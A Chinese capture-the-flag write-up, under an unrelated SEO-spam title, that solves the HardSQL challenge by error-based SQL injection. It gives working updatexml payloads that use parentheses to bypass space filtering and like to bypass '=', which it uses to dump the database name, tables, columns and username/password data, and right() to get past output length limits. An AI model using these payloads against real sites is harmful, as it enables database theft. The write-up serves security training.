任丘網(wǎng)站優(yōu)化網(wǎng)站推廣名詞解釋
看了大佬的wp,沒(méi)用字典爆破,手動(dòng)試出來(lái)的,屏蔽了常用的關(guān)鍵字,例如:order select union and 最搞的是,空格也有,這個(gè)空格后面讓我看了好久,該在哪里加括號(hào)。
先傳入1’ 1試試,發(fā)現(xiàn)提示報(bào)錯(cuò):
其實(shí)這里提示了報(bào)錯(cuò)信息,就可以試一試報(bào)錯(cuò)注入了,當(dāng)然這是事后諸葛亮,還是常規(guī)的注入試試,發(fā)現(xiàn)行不通。
這里就已經(jīng)給屏蔽詞才的差不多了,該進(jìn)行報(bào)錯(cuò)注入了,使用:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
報(bào)出數(shù)據(jù)庫(kù)名:geek
然后這里是沒(méi)用空格的,但是爆表的時(shí)候,發(fā)現(xiàn)不對(duì)勁,要加上空格,但是空格被屏蔽了,于是就更換()來(lái)進(jìn)行:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
拿到表名:H4rDsq1
接著就是拿到列名:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
注意這里等號(hào)也被屏蔽了,使用like進(jìn)行替換。
拿到列名信息,接下來(lái)就是輸出相關(guān)信息:
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
這里使用~來(lái)做一個(gè)填充,區(qū)別user列和pass列,然后得到信息:
拿到信息了,但是沒(méi)拿完,拿了一半的flag,這是為什么?因?yàn)閳?bào)錯(cuò)注入,最多顯示32個(gè)字符,所以還要對(duì)后面的字符進(jìn)行輸出,但是這里又碰到substr關(guān)鍵字被屏蔽,也是。。。沒(méi)辦法,又看看大佬的wp,原來(lái)是用的right()突破字符限制,就是從字符串的最右邊起,開(kāi)始選字符。
例如:SELECT RIGHT('Hello, World', 5);
這將返回World。
所以接著的語(yǔ)句就是:
這里還有最后一點(diǎn)需要注意,就是在拼接的時(shí)候,不能想當(dāng)然的把兩個(gè)字符串拼接。要除去相同的部分:
'~flag~flag{93c21fdf-7e2b-4d48-ae'
'~b-4d48-ae6c-8abab092b920}~'
拼接后就是:flag{93c21fdf-7e2b-4d48-ae6c-8abab092b920}
這里的flag是動(dòng)態(tài)的,別嘗試用這個(gè)。
還可以用:^來(lái)更換or,然后不用updatexml(),而是使用:extractvalue()原理都是一樣的。
大佬的wp:非常經(jīng)典的一道SQL報(bào)錯(cuò)注入題目[極客大挑戰(zhàn) 2019]HardSQL 1(兩種解法!)-CSDN博客